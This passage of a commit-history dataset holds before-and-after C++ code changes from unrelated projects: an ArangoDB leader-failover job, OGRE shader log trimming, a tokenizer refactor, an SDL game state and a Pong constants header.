\"\/\" + _collection + \"\/shards\/\" + _shard;\n  std::string curPath =\n      curColPrefix + _database + \"\/\" + _collection + \"\/\" + _shard + \"\/servers\";\n\n  Node const& current = _snapshot(curPath);\n\n  if (current.slice().length() == 1) {\n    LOG_TOPIC(ERR, Logger::AGENCY) << \"Failed to change leadership for shard \" +\n                                          _shard + \" from \" + _from + \" to \" +\n                                          _to + \". No in-sync followers:\" +\n                                          current.slice().toJson();\n    return false;\n  }\n\n  \/\/ Copy todo to pending\n  Builder todo, pending;\n\n  \/\/ Get todo entry\n  todo.openArray();\n  if (_jb == nullptr) {\n    try {\n      _snapshot(toDoPrefix + _jobId).toBuilder(todo);\n    } catch (std::exception const&) {\n      LOG_TOPIC(INFO, Logger::AGENCY) << \"Failed to get key \" + toDoPrefix +\n                                             _jobId + \" from agency snapshot\";\n      return false;\n    }\n  } else {\n    todo.add(_jb->slice().get(_agencyPrefix + toDoPrefix + _jobId).valueAt(0));\n  }\n  todo.close();\n\n  \/\/ Transaction\n  pending.openArray();\n\n  \/\/ Apply\n  \/\/ --- Add pending entry\n  pending.openObject();\n  pending.add(_agencyPrefix + pendingPrefix + _jobId,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"timeStarted\",\n              VPackValue(timepointToString(std::chrono::system_clock::now())));\n  for (auto const& obj : VPackObjectIterator(todo.slice()[0])) {\n    pending.add(obj.key.copyString(), obj.value);\n  }\n  pending.close();\n\n  \/\/ --- Remove todo entry\n  pending.add(_agencyPrefix + toDoPrefix + _jobId,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"op\", VPackValue(\"delete\"));\n  pending.close();\n\n  \/\/ --- Cyclic shift in sync servers\n  pending.add(_agencyPrefix + planPath, VPackValue(VPackValueType::Array));\n  for (size_t i = 1; i < current.slice().length(); ++i) {\n    pending.add(current.slice()[i]);\n  }\n  pending.add(current.slice()[0]);\n  pending.close();\n\n  \/\/ --- Block shard\n  pending.add(_agencyPrefix + blockedShardsPrefix + _shard,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"jobId\", VPackValue(_jobId));\n  pending.close();\n\n  \/\/ --- Increment Plan\/Version\n  pending.add(_agencyPrefix + planVersion, VPackValue(VPackValueType::Object));\n  pending.add(\"op\", VPackValue(\"increment\"));\n  pending.close();\n\n  pending.close();\n\n  \/\/ Precondition\n  \/\/ --- Check that Current servers are as we expect\n  pending.openObject();\n  pending.add(_agencyPrefix + curPath, VPackValue(VPackValueType::Object));\n  pending.add(\"old\", current.slice());\n  pending.close();\n\n  \/\/ --- Check if shard is not blocked\n  pending.add(_agencyPrefix + blockedShardsPrefix + _shard,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"oldEmpty\", VPackValue(true));\n  pending.close();\n\n  pending.close();\n  pending.close();\n\n  \/\/ Transact\n  write_ret_t res = transact(_agent, pending);\n\n  if (res.accepted && res.indices.size() == 1 && res.indices[0]) {\n    LOG_TOPIC(INFO, Logger::AGENCY) << \"Pending: Change leadership \" + _shard +\n                                           \" from \" + _from + \" to \" + _to;\n    return true;\n  }\n\n  LOG_TOPIC(INFO, Logger::AGENCY)\n      << \"Precondition failed for starting job \" + _jobId;\n  return false;\n}\n\nJOB_STATUS FailedLeader::status() {\n  auto status = exists();\n\n  if (status != NOTFOUND) {  \/\/ Get job details from agency\n\n    try {\n      _database = _snapshot(pos[status] + _jobId + \"\/database\").getString();\n      _collection = _snapshot(pos[status] + _jobId + \"\/collection\").getString();\n      _from = _snapshot(pos[status] + _jobId + \"\/fromServer\").getString();\n      _to = _snapshot(pos[status] + _jobId + \"\/toServer\").getString();\n      _shard = _snapshot(pos[status] + _jobId + \"\/shard\").getString();\n    } catch (std::exception const& e) {\n      std::stringstream err;\n      err << \"Failed to find job \" << _jobId << \" in agency: \" << e.what();\n      LOG_TOPIC(ERR, Logger::AGENCY) << err.str();\n      finish(\"Shards\/\" + _shard, false, err.str());\n      return FAILED;\n    }\n  }\n\n  if (status == PENDING) {\n    Node const& job = _snapshot(pendingPrefix + _jobId);\n    std::string database = job(\"database\").toJson(),\n                collection = job(\"collection\").toJson(),\n                shard = job(\"shard\").toJson();\n\n    std::string planPath = planColPrefix + database + \"\/\" + collection +\n                           \"\/shards\/\" + shard,\n                curPath = curColPrefix + database + \"\/\" + collection + \"\/\" +\n                          shard + \"\/servers\";\n\n    Node const& planned = _snapshot(planPath);\n    Node const& current = _snapshot(curPath);\n\n    if (planned.slice()[0] == current.slice()[0]) {\n\n      \/\/ Remove shard to \/arango\/Target\/FailedServers\/<server> array\n      Builder del;\n      del.openArray();\n      del.openObject();\n      std::string path = _agencyPrefix + failedServersPrefix + \"\/\" + _from;\n      del.add(path, VPackValue(VPackValueType::Object));\n      del.add(\"op\", VPackValue(\"erase\"));\n      del.add(\"val\", VPackValue(_shard));\n      del.close();\n      del.close();\n      del.close();\n      write_ret_t res = transact(_agent, del);\n  \n      if (finish(\"Shards\/\" + shard)) {\n        return FINISHED;\n      }\n    }\n  }\n\n  return status;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n    (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2009 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreGLSLESExtSupport.h\"\n#include \"OgreLogManager.h\"\n\nnamespace Ogre\n{\n    \/\/-----------------------------------------------------------------------------\n\tString logObjectInfo(const String& msg, const GLuint obj)\n\t{\n\t\tString logMessage = msg;\n\n\t\tif (obj > 0)\n\t\t{\n\t\t\tGLint infologLength = 0;\n\n            if(glIsShader(obj))\n            {\n                glGetShaderiv(obj, GL_INFO_LOG_LENGTH, &infologLength);\n                GL_CHECK_ERROR\n            }\n            else if(glIsProgram(obj))\n            {\n                glGetProgramiv(obj, GL_INFO_LOG_LENGTH, &infologLength);\n                GL_CHECK_ERROR\n            }\n\n\t\t\tif (infologLength > 0)\n\t\t\t{\n\t\t\t\tGLint charsWritten  = 0;\n\n\t\t\t\t\/\/GLchar * infoLog = OGRE_NEW GLchar[infologLength];\n\t\t\t\tchar * infoLog = new char [infologLength];\n\t\t\t\tinfoLog[0] = 0;\n\n                if(glIsShader(obj))\n                {\n                    glGetShaderInfoLog(obj, infologLength, &charsWritten, infoLog);\n                    GL_CHECK_ERROR\n                }\n                else if(glIsProgram(obj))\n                {\n                    glGetProgramInfoLog(obj, infologLength, &charsWritten, infoLog);\n                    GL_CHECK_ERROR\n                }\n\t\t\t\tif (strlen(infoLog) > 0)\n\t\t\t\t{\n\t\t\t\t\tlogMessage += \"\\n\" + String(infoLog);\n\t\t\t\t}\n\n                LogManager::getSingleton().logMessage(logMessage);\n\n\t\t\t\tOGRE_DELETE [] infoLog;\n\t\t\t}\n\t\t}\n\n\t\treturn logMessage;\n\t}\n\n\n} \/\/ namespace Ogre\n<commit_msg>GLES2 render system: removed end of line chars from the compile result to log function -  - so there will be less empty lines in the log.<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n    (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2009 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreGLSLESExtSupport.h\"\n#include \"OgreLogManager.h\"\n\nnamespace Ogre\n{\n    \/\/-----------------------------------------------------------------------------\n\tString logObjectInfo(const String& msg, const GLuint obj)\n\t{\n\t\tString logMessage = msg;\n\n\t\tif (obj > 0)\n\t\t{\n\t\t\tGLint infologLength = 0;\n\n            if(glIsShader(obj))\n            {\n                glGetShaderiv(obj, GL_INFO_LOG_LENGTH, &infologLength);\n                GL_CHECK_ERROR\n            }\n            else if(glIsProgram(obj))\n            {\n                glGetProgramiv(obj, GL_INFO_LOG_LENGTH, &infologLength);\n                GL_CHECK_ERROR\n            }\n\n\t\t\tif (infologLength > 1)\n\t\t\t{\n\t\t\t\tGLint charsWritten  = 0;\n\n\t\t\t\t\/\/GLchar * infoLog = OGRE_NEW GLchar[infologLength];\n\t\t\t\tchar * infoLog = new char [infologLength];\n\t\t\t\tinfoLog[0] = 0;\n\n                if(glIsShader(obj))\n                {\n                    glGetShaderInfoLog(obj, infologLength, &charsWritten, infoLog);\n                    GL_CHECK_ERROR\n                }\n                else if(glIsProgram(obj))\n                {\n                    glGetProgramInfoLog(obj, infologLength, &charsWritten, infoLog);\n                    GL_CHECK_ERROR\n                }\n\t\t\t\tif (strlen(infoLog) > 0)\n\t\t\t\t{\n\t\t\t\t\tlogMessage += \"\\n\" + String(infoLog);\n\t\t\t\t}\n\n\t\t\t\tOGRE_DELETE [] infoLog;\n\n\t\t\t\tif (logMessage.size() > 0)\n\t\t\t\t{\n\t\t\t\t\t\/\/ remove ends of line in the end - so there will be no empty lines in the log.\n\t\t\t\t\twhile( logMessage[logMessage.size() - 1] == '\\n' )\n\t\t\t\t\t{\n\t\t\t\t\t\tlogMessage.erase(logMessage.size() - 1, 1);\n\t\t\t\t\t}\n\t\t\t\t\tLogManager::getSingleton().logMessage(logMessage);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\treturn logMessage;\n\t}\n\n\n} \/\/ namespace Ogre\n<|endoftext|>"}
{"text":"<commit_before>#include \"token.hpp\"\n\nnamespace laskin\n{\n    static inline bool isword(char);\n\n    token::token(enum type type, const std::string& data)\n        : m_type(type)\n        , m_data(data) {}\n\n    token::token(const token& that)\n        : m_type(that.m_type)\n        , m_data(that.m_data) {}\n\n    std::vector<token> token::scan(std::istream& is)\n        throw(syntax_error)\n    {\n        std::vector<token> tokens;\n        std::string buffer;\n\n        for (std::istreambuf_iterator<char> current(is), end; current != end;)\n        {\n            char c = *current++;\n\n            switch (c)\n            {\n                \/\/ Skip comments.\n                case '#':\n                    while (current != end)\n                    {\n                        if (*current++ == '\\n')\n                        {\n                            break;\n                        }\n                    }\n                    break;\n\n                \/\/ Skip whitespace.\n                case ' ':\n                case '\\t':\n                case '\\r':\n                case '\\n':\n                    break;\n\n                \/\/ Various separators.\n                case '(': case ')':\n                case '[': case ']':\n                case '{': case '}':\n                case ':':\n                    tokens.push_back(token(\n                                c == '(' ? type_lparen :\n                                c == ')' ? type_rparen :\n                                c == '[' ? type_lbrack :\n                                c == ']' ? type_rbrack :\n                                c == '{' ? type_lbrace :\n                                c == '}' ? type_rbrace :\n                                type_colon\n                    ));\n                    break;\n\n                \/\/ Parse numbers from zero.\n                case '0':\n                    buffer.assign(1, '0');\n                    if (current != end)\n                    {\nSCAN_NUMBER_FROM_ZERO:\n                        switch (c = *current++)\n                        {\n                            case 'b': case 'B':\n                                buffer.append(1, c);\n                                while (current != end && std::isdigit(*current))\n                                {\n                                    if ((c = *current++) != '0' && c != '1')\n                                    {\n                                        throw syntax_error(\n                                                \"invalid binary digit\"\n                                        );\n                                    }\n                                    buffer.append(1, c);\n                                }\n                                break;\n\n                            case 'x': case 'X':\n                                buffer.append(1, 'x');\n                                while (current != end && std::isxdigit(*current))\n                                {\n                                    buffer.append(1, *current++);\n                                }\n                                break;\n\n                            case 'o': case 'O':\n                            case '0': case '1':\n                            case '2': case '3':\n                            case '4': case '5':\n                            case '6': case '7':\n                                buffer.append(1, c);\n                                while (current != end && std::isdigit(*current))\n                                {\n                                    if ((c = *current++) > '7')\n                                    {\n                                        throw syntax_error(\n                                                \"invalid octal digit\"\n                                        );\n                                    }\n                                    buffer.append(1, c);\n                                }\n                                break;\n\n                            case '8': case '9':\n                                throw syntax_error(\"invalid octal digit\");\n\n                            case 'e': case 'E':\n                                goto SCAN_EXPONENT;\n\n                            case '.':\n                                goto SCAN_REAL;\n                        }\n                    }\n                    tokens.push_back(token(type_integer, buffer));\n                    break;\n\n                \/\/ Parse numbers.\n                case '1': case '2': case '3':\n                case '4': case '5': case '6':\n                case '7': case '8': case '9':\n                    buffer.assign(1, c);\nSCAN_NUMBER:\n                    while (current != end && std::isdigit(*current))\n                    {\n                        buffer.append(1, *current++);\n                    }\n                    if (current != end && *current == '.')\n                    {\n                        ++current;\nSCAN_REAL:\n                        buffer.append(1, '.');\n                        if (current == end || !std::isdigit(*current))\n                        {\n                            throw syntax_error(\"missing digits after `.'\");\n                        }\n                        do\n                        {\n                            buffer.append(1, *current++);\n                        }\n                        while (current != end && std::isdigit(*current));\n                        if (current != end && (*current == 'e' || *current == 'E'))\n                        {\nSCAN_EXPONENT:\n                            buffer.append(1, 'e');\n                            ++current;\n                            if (current != end && (*current == '+' || *current == '-'))\n                            {\n                                buffer.append(1, *current++);\n                            }\n                            if (current == end || !std::isdigit(*current))\n                            {\n                                throw syntax_error(\"missing exponent\");\n                            }\n                            do\n                            {\n                                buffer.append(1, *current++);\n                            }\n                            while (current != end && std::isdigit(*current));\n                        }\n                        tokens.push_back(token(type_real, buffer));\n                    } else {\n                        tokens.push_back(token(type_integer, buffer));\n                    }\n                    break;\n\n                \/\/ Parse double quoted strings.\n                case '\"':\n                    buffer.clear();\n                    while (current != end && *current != '\"')\n                    {\n                        if (*current == '\\\\')\n                        {\n                            \/\/ TODO: process escape sequence\n                        } else {\n                            buffer.append(1, *current++);\n                        }\n                    }\n                    if (current == end)\n                    {\n                        throw syntax_error(\"unterminated string literal\");\n                    }\n                    tokens.push_back(token(type_string, buffer));\n                    ++current;\n                    break;\n\n                \/\/ Parse single quoted strings.\n                case '\\'':\n                    buffer.clear();\n                    while (current != end && *current != '\\'')\n                    {\n                        if (*current == '\\\\')\n                        {\n                            \/\/ TODO: process escape sequence\n                        } else {\n                            buffer.append(1, *current++);\n                        }\n                    }\n                    if (current == end)\n                    {\n                        throw syntax_error(\"unterminated string literal\");\n                    }\n                    tokens.push_back(token(type_string, buffer));\n                    ++current;\n                    break;\n\n                case '-':\n                case '+':\n                    buffer.assign(1, c);\n                    if (current != end)\n                    {\n                        if (*current == '0')\n                        {\n                            goto SCAN_NUMBER_FROM_ZERO;\n                        }\n                        else if (std::isdigit(*current))\n                        {\n                            goto SCAN_NUMBER;\n                        }\n                    }\n                    goto SCAN_WORD;\n\n                default:\n                    if (isword(c))\n                    {\n                        buffer.assign(1, c);\nSCAN_WORD:\n                        while (current != end && isword(*current))\n                        {\n                            buffer.append(1, *current++);\n                        }\n                        tokens.push_back(token(type_word, buffer));\n                    } else {\n                        throw syntax_error(\"unexpected input\");\n                    }\n            }\n        }\n\n        return tokens;\n    }\n\n    token& token::assign(const token& that)\n    {\n        m_type = that.m_type;\n        m_data = that.m_data;\n\n        return *this;\n    }\n\n    std::ostream& operator<<(std::ostream& os, enum token::type type)\n    {\n        switch (type)\n        {\n            case token::type_lparen:\n                os << \"`('\";\n                break;\n\n            case token::type_rparen:\n                os << \"`)'\";\n                break;\n\n            case token::type_lbrack:\n                os << \"`['\";\n                break;\n\n            case token::type_rbrack:\n                os << \"`]'\";\n                break;\n\n            case token::type_lbrace:\n                os << \"`{'\";\n                break;\n\n            case token::type_rbrace:\n                os << \"`}'\";\n                break;\n\n            case token::type_colon:\n                os << \"`:'\";\n                break;\n\n            case token::type_integer:\n            case token::type_real:\n                os << \"number literal\";\n                break;\n\n            case token::type_string:\n                os << \"string literal\";\n                break;\n\n            case token::type_word:\n                os << \"word\";\n        }\n\n        return os;\n    }\n\n    static inline bool isword(char c)\n    {\n        return (c >= '0' && c <= '9')\n            || (c >= 'a' && c <= 'z')\n            || (c >= 'A' && c <= 'Z')\n            || c == '!'\n            || c == '$'\n            || c == '%'\n            || c == '&'\n            || c == '\\''\n            || c == '*'\n            || c == '+'\n            || c == ','\n            || c == '-'\n            || c == '.'\n            || c == '\/'\n            || c == ':'\n            || c == ';'\n            || c == '<'\n            || c == '>'\n            || c == '='\n            || c == '?'\n            || c == '@'\n            || c == '^'\n            || c == '_'\n            || c == '`'\n            || c == '|'\n            || c == '~';\n    }\n}\n<commit_msg>simplify scanning routine<commit_after>#include \"token.hpp\"\n\nnamespace laskin\n{\n    static inline bool isword(char);\n\n    token::token(enum type type, const std::string& data)\n        : m_type(type)\n        , m_data(data) {}\n\n    token::token(const token& that)\n        : m_type(that.m_type)\n        , m_data(that.m_data) {}\n\n    std::vector<token> token::scan(std::istream& is)\n        throw(syntax_error)\n    {\n        std::vector<token> tokens;\n        std::string buffer;\n\n        for (std::istreambuf_iterator<char> current(is), end; current != end;)\n        {\n            char c = *current++;\n\n            switch (c)\n            {\n                \/\/ Skip comments.\n                case '#':\n                    while (current != end)\n                    {\n                        if (*current++ == '\\n')\n                        {\n                            break;\n                        }\n                    }\n                    break;\n\n                \/\/ Skip whitespace.\n                case ' ':\n                case '\\t':\n                case '\\r':\n                case '\\n':\n                    break;\n\n                \/\/ Various separators.\n                case '(': case ')':\n                case '[': case ']':\n                case '{': case '}':\n                case ':':\n                    tokens.push_back(token(\n                                c == '(' ? type_lparen :\n                                c == ')' ? type_rparen :\n                                c == '[' ? type_lbrack :\n                                c == ']' ? type_rbrack :\n                                c == '{' ? type_lbrace :\n                                c == '}' ? type_rbrace :\n                                type_colon\n                    ));\n                    break;\n\n                \/\/ Parse numbers from zero.\n                case '0':\n                    buffer.assign(1, '0');\n                    if (current != end)\n                    {\nSCAN_NUMBER_FROM_ZERO:\n                        switch (c = *current++)\n                        {\n                            case 'b': case 'B':\n                                buffer.append(1, c);\n                                while (current != end && std::isdigit(*current))\n                                {\n                                    if ((c = *current++) != '0' && c != '1')\n                                    {\n                                        throw syntax_error(\n                                                \"invalid binary digit\"\n                                        );\n                                    }\n                                    buffer.append(1, c);\n                                }\n                                break;\n\n                            case 'x': case 'X':\n                                buffer.append(1, 'x');\n                                while (current != end && std::isxdigit(*current))\n                                {\n                                    buffer.append(1, *current++);\n                                }\n                                break;\n\n                            case 'o': case 'O':\n                            case '0': case '1':\n                            case '2': case '3':\n                            case '4': case '5':\n                            case '6': case '7':\n                                buffer.append(1, c);\n                                while (current != end && std::isdigit(*current))\n                                {\n                                    if ((c = *current++) > '7')\n                                    {\n                                        throw syntax_error(\n                                                \"invalid octal digit\"\n                                        );\n                                    }\n                                    buffer.append(1, c);\n                                }\n                                break;\n\n                            case '8': case '9':\n                                throw syntax_error(\"invalid octal digit\");\n\n                            case 'e': case 'E':\n                                goto SCAN_EXPONENT;\n\n                            case '.':\n                                goto SCAN_REAL;\n                        }\n                    }\n                    tokens.push_back(token(type_integer, buffer));\n                    break;\n\n                \/\/ Parse numbers.\n                case '1': case '2': case '3':\n                case '4': case '5': case '6':\n                case '7': case '8': case '9':\n                    buffer.assign(1, c);\nSCAN_NUMBER:\n                    while (current != end && std::isdigit(*current))\n                    {\n                        buffer.append(1, *current++);\n                    }\n                    if (current != end && *current == '.')\n                    {\n                        ++current;\nSCAN_REAL:\n                        buffer.append(1, '.');\n                        if (current == end || !std::isdigit(*current))\n                        {\n                            throw syntax_error(\"missing digits after `.'\");\n                        }\n                        do\n                        {\n                            buffer.append(1, *current++);\n                        }\n                        while (current != end && std::isdigit(*current));\n                        if (current != end && (*current == 'e' || *current == 'E'))\n                        {\nSCAN_EXPONENT:\n                            buffer.append(1, 'e');\n                            ++current;\n                            if (current != end && (*current == '+' || *current == '-'))\n                            {\n                                buffer.append(1, *current++);\n                            }\n                            if (current == end || !std::isdigit(*current))\n                            {\n                                throw syntax_error(\"missing exponent\");\n                            }\n                            do\n                            {\n                                buffer.append(1, *current++);\n                            }\n                            while (current != end && std::isdigit(*current));\n                        }\n                        tokens.push_back(token(type_real, buffer));\n                    } else {\n                        tokens.push_back(token(type_integer, buffer));\n                    }\n                    break;\n\n                \/\/ Parse string literals.\n                case '\"':\n                case '\\'':\n                {\n                    buffer.clear();\n                    while (current != end && *current != c)\n                    {\n                        if (*current == '\\\\')\n                        {\n                            \/\/ TODO: process escape sequence\n                        } else {\n                            buffer.append(1, *current++);\n                        }\n                    }\n                    if (current == end)\n                    {\n                        throw syntax_error(\"unterminated string literal\");\n                    }\n                    tokens.push_back(token(type_string, buffer));\n                    ++current;\n                    break;\n                }\n\n                case '-':\n                case '+':\n                    buffer.assign(1, c);\n                    if (current != end)\n                    {\n                        if (*current == '0')\n                        {\n                            goto SCAN_NUMBER_FROM_ZERO;\n                        }\n                        else if (std::isdigit(*current))\n                        {\n                            goto SCAN_NUMBER;\n                        }\n                    }\n                    goto SCAN_WORD;\n\n                default:\n                    if (isword(c))\n                    {\n                        buffer.assign(1, c);\nSCAN_WORD:\n                        while (current != end && isword(*current))\n                        {\n                            buffer.append(1, *current++);\n                        }\n                        tokens.push_back(token(type_word, buffer));\n                    } else {\n                        throw syntax_error(\"unexpected input\");\n                    }\n            }\n        }\n\n        return tokens;\n    }\n\n    token& token::assign(const token& that)\n    {\n        m_type = that.m_type;\n        m_data = that.m_data;\n\n        return *this;\n    }\n\n    std::ostream& operator<<(std::ostream& os, enum token::type type)\n    {\n        switch (type)\n        {\n            case token::type_lparen:\n                os << \"`('\";\n                break;\n\n            case token::type_rparen:\n                os << \"`)'\";\n                break;\n\n            case token::type_lbrack:\n                os << \"`['\";\n                break;\n\n            case token::type_rbrack:\n                os << \"`]'\";\n                break;\n\n            case token::type_lbrace:\n                os << \"`{'\";\n                break;\n\n            case token::type_rbrace:\n                os << \"`}'\";\n                break;\n\n            case token::type_colon:\n                os << \"`:'\";\n                break;\n\n            case token::type_integer:\n            case token::type_real:\n                os << \"number literal\";\n                break;\n\n            case token::type_string:\n                os << \"string literal\";\n                break;\n\n            case token::type_word:\n                os << \"word\";\n        }\n\n        return os;\n    }\n\n    static inline bool isword(char c)\n    {\n        return (c >= '0' && c <= '9')\n            || (c >= 'a' && c <= 'z')\n            || (c >= 'A' && c <= 'Z')\n            || c == '!'\n            || c == '$'\n            || c == '%'\n            || c == '&'\n            || c == '\\''\n            || c == '*'\n            || c == '+'\n            || c == ','\n            || c == '-'\n            || c == '.'\n            || c == '\/'\n            || c == ':'\n            || c == ';'\n            || c == '<'\n            || c == '>'\n            || c == '='\n            || c == '?'\n            || c == '@'\n            || c == '^'\n            || c == '_'\n            || c == '`'\n            || c == '|'\n            || c == '~';\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include \"SDL2\/SDL.h\"\n#include \"Magicengine\/Game.h\"\n#include \"PlayState.h\"\n\nPlayState PlayState::m_PlayState;\n\nvoid PlayState::Init(Game* game)\n{\n\tphy2 = game->getPhysics();\n\tplayTexture = NULL;\n\tplayTexture = Load::Texture(\"assets\/test.png\", game->GetScreen());\n\ttextColor = { 255, 255, 255 };\n\tfonttype = Load::Font(\"assets\/Font\/lazy.ttf\", 26);\n\ttest = new Object(playTexture, game->GetScreen(), 0,0,50,50);\n\ttest2 = new Object(playTexture, game->GetScreen(), 100,100);\n\ttimeFont = new Font(timeText.str(), fonttype, textColor, 50, 50, game->GetScreen());\n\ttimer = new Timer();\n\ttimer->start();\n\tphy2->addObject(test);\n\tphy2->addObject(test2);\n\tprintf(\"PlayState Init Successful\\n\");\n}\n\nvoid PlayState::Clean()\n{\n\tSDL_DestroyTexture(playTexture);\n\tprintf(\"PlayState Clean Successful\\n\");\n}\n\nvoid PlayState::Pause()\n{\n\tprintf(\"PlayState Paused\\n\");\n}\n\nvoid PlayState::Resume()\n{\n\tprintf(\"PlayState Resumed\\n\");\n}\n\nvoid PlayState::HandleEvents(Game* game)\n{\n\tSDL_Event event;\n\n\tif (SDL_PollEvent(&event)) {\n\t\tswitch (event.type) {\n\t\t\tcase SDL_QUIT:\n\t\t\t\tgame->Quit();\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid PlayState::Update(Game* game)\n{\n\n\n\ttimeText.str( \"\" );\n\ttimeText << \"Seconds since start time \" << (timer->getTicks()\/1000.f);\n\ttimeFont->setText(timeText.str());\n}\n\nvoid PlayState::Draw(Game* game)\n{\n\ttimeFont->Draw();\n\ttest->Draw();\n\ttest2->Draw();\n}\n<commit_msg>stuff<commit_after>#include <stdio.h>\n#include \"SDL2\/SDL.h\"\n#include \"Magicengine\/Game.h\"\n#include \"PlayState.h\"\n\nPlayState PlayState::m_PlayState;\n\nvoid PlayState::Init(Game* game)\n{\n\tphy2 = game->getPhysics();\n\tplayTexture = NULL;\n\tplayTexture = Load::Texture((char *) \"assets\/test.png\", game->GetScreen());\n\ttextColor = { 255, 255, 255 };\n\tfonttype = Load::Font((char *) \"assets\/Font\/lazy.ttf\", 26);\n\ttest = new Object(playTexture, game->GetScreen(), 0,0,50,50);\n\ttest2 = new Object(playTexture, game->GetScreen(), 100,100);\n\ttimeFont = new Font(timeText.str(), fonttype, textColor, 50, 50, game->GetScreen());\n\ttimer = new Timer();\n\ttimer->start();\n\tphy2->addObject(test);\n\tphy2->addObject(test2);\n\tprintf(\"PlayState Init Successful\\n\");\n}\n\nvoid PlayState::Clean()\n{\n\tSDL_DestroyTexture(playTexture);\n\tprintf(\"PlayState Clean Successful\\n\");\n}\n\nvoid PlayState::Pause()\n{\n\tprintf(\"PlayState Paused\\n\");\n}\n\nvoid PlayState::Resume()\n{\n\tprintf(\"PlayState Resumed\\n\");\n}\n\nvoid PlayState::HandleEvents(Game* game)\n{\n\tSDL_Event event;\n\n\tif (SDL_PollEvent(&event)) {\n\t\tswitch (event.type) {\n\t\t\tcase SDL_QUIT:\n\t\t\t\tgame->Quit();\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid PlayState::Update(Game* game)\n{\n\n\n\ttimeText.str( \"\" );\n\ttimeText << \"Seconds since start time \" << (timer->getTicks()\/1000.f);\n\ttimeFont->setText(timeText.str());\n}\n\nvoid PlayState::Draw(Game* game)\n{\n\ttimeFont->Draw();\n\ttest->Draw();\n\ttest2->Draw();\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef PONG_DEFS_HPP_\n#define PONG_DEFS_HPP_\n\n#include <string>\n\nnamespace pong {\n\nconstexpr const wchar_t* WINDOW_TITLE = L\"Pong\";\nconstexpr const int WINDOW_WIDTH = 640;\nconstexpr const int WINDOW_HEIGHT = 480;\nconstexpr const float WINDOW_HALF_WIDTH = WINDOW_WIDTH \/ 2.0f;\nconstexpr const float WINDOW_HALF_HEIGHT = WINDOW_HEIGHT \/ 2.0f;\n\nenum class Player {\n    NONE,\n    PLAYER_1, PLAYER_2,\n    PLAYER_COUNT\n};\n\nconstexpr const int PIXELS_PER_METER = 64;\n\nconstexpr const int GAME_FRAMES_PER_SECOND = 60;\nconstexpr const float GAME_TIME_STEP = 1.0f \/ GAME_FRAMES_PER_SECOND;\nconstexpr const int GAME_VELOCITY_ITERATIONS = 8;\nconstexpr const int GAME_POSITION_ITERATIONS = 3;\n\nconstexpr const int MATCH_POINT = 10;\n\nconstexpr const float WALL_WIDTH = WINDOW_WIDTH;\nconstexpr const float WALL_HALF_WIDTH = WALL_WIDTH \/ 2.0f;\nconstexpr const float WALL_HEIGHT = 10.0f;\nconstexpr const float WALL_HALF_HEIGHT = WALL_HEIGHT \/ 2.0f;\n\nconstexpr const float BALL_WIDTH = 10.0f;\nconstexpr const float BALL_HALF_WIDTH = BALL_WIDTH \/ 2.0f;\nconstexpr const float BALL_HEIGHT = 10.0f;\nconstexpr const float BALL_HALF_HEIGHT = BALL_HEIGHT \/ 2.0f;\nconstexpr const float BALL_MIN_SPEED = 2.0f;\nconstexpr const float BALL_MAX_SPEED = 15.0f;\nconstexpr const float BALL_VELOCITY_STEP = 0.003;\nconstexpr const float BALL_MIN_ROTATION_SPEED = 0.1f;\nconstexpr const float BALL_MAX_ROTATION_SPEED = 10.0f;\n\nconstexpr const float RACKET_MARGIN = 15.0f;\nconstexpr const float RACKET_WIDTH = 20.0f;\nconstexpr const float RACKET_HALF_WIDTH = RACKET_WIDTH \/ 